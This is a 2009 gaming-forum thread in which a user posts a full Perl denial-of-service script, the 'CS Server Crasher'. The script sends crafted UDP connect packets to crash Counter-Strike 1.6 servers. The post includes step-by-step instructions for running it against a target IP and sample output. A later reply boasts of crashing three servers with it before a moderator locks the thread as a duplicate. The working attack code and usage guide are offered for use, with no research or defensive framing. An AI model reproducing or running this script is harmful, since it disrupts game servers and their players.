Devangell™ Posted December 22, 2009 Posted December 22, 2009 I know this perl is old but works still fine! And this perl is just edited by me the creator of this perl is str0ke. How to use: Added New Link* Download ActivePerl : http://www.activestate.com/activeperl/ Copy the exploit and paste it to a notepad then save it as: name.pl. Go to Start, Run type in CMD. Drag the name.pl file to CMD window and don't press enter yet, it should be like this when u drag the exploit to CMD window: C:\csdos.pl. Now type in the server IP and press enter. Example : C:\csdos.pl 85.174.64.218:27016 (press enter). Then it should end like this : Code: C:\Documents and Settings\(name)>C:\csdos.pl 85.174.64.218:27016 # CS Server Crasher Perl Version (CS server crasher) # Doesn't Work on Steam Servers # Edited By HackDS5 / Made by str0ke # A A A A A00000000 999416013 2 >A A A A connect 47 999416013 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed 866538c9db76""\" A A A A A00000000 999416013 2 >A A A A connect 47 999416013 "\prot\4\unique\0\raw\valve\cdkey\f0ef8a36258af1bb64ed 866538c9db76""\" A A A A B 4 "83.255.18.243:4596" 0 Or in other types... Here is the Exploit/Perl Code: #!/usr/bin/perl ## ##CS Server Crasher Perl (CSDoS) ##Doesn't work on Steam Servers and steam must not- ##-be running ##Edited by HackDS5 ##Made by str0ke ##HBTTeam use IO::Socket; print q{ # # CS Server Crasher Perl Version (CS server crasher) # Doesn't Work on Steam Servers # Edited By HackDS5 / Made by str0ke # }; die "usage: ./csdos <host>" unless $ARGV[0]; $host=$ARGV[0]; if (fork()) { econnect($host); } else { econnect($host); }; exit; sub econnect($) { my $host=$_[0]; my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp'); die "Could not create socket: $!\n" unless $sock; $cmd="\xff\xff\xff\xff"; syswrite $sock, $cmd."getchallenge"; sysread $sock,$b,65535; print $b,"\n"; @c=split(/ /,$b); $c2=$c[1]; $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0"; print '>',$q,"\n"; syswrite $sock, $q; sysread $sock,$b,65535; print $b,"\n"; sleep 3; close $sock; } Credits : hackds5
Devangell™ Posted December 22, 2009 Author Posted December 22, 2009 Topic Title editted. Op yes Thanks :D and?test it and tell me!!
Bleik Posted December 22, 2009 Posted December 22, 2009 Op yes Thanks :D and?test it and tell me!! I don't play/I don't have CS 1.6 So, wait results from other people...
Devangell™ Posted December 22, 2009 Author Posted December 22, 2009 I don't play/I don't have CS 1.6 So, wait results from other people... i share it for fix because he want it :D btw i w8ing!!
FiX Posted December 22, 2009 Posted December 22, 2009 Great Devangell!!!Thx For Share I Was Searching cs 1.6 crasher(As I Told You) Its Don't Working At All Servers Probarly They Fix It. But I Crash 3 Servers And Now I'm Happy ;D +1 Ofc.
Hax0r Posted December 22, 2009 Posted December 22, 2009 I'm sorry but this dos script has already been posted. by Zujkis Karma removed and locked.
Recommended Posts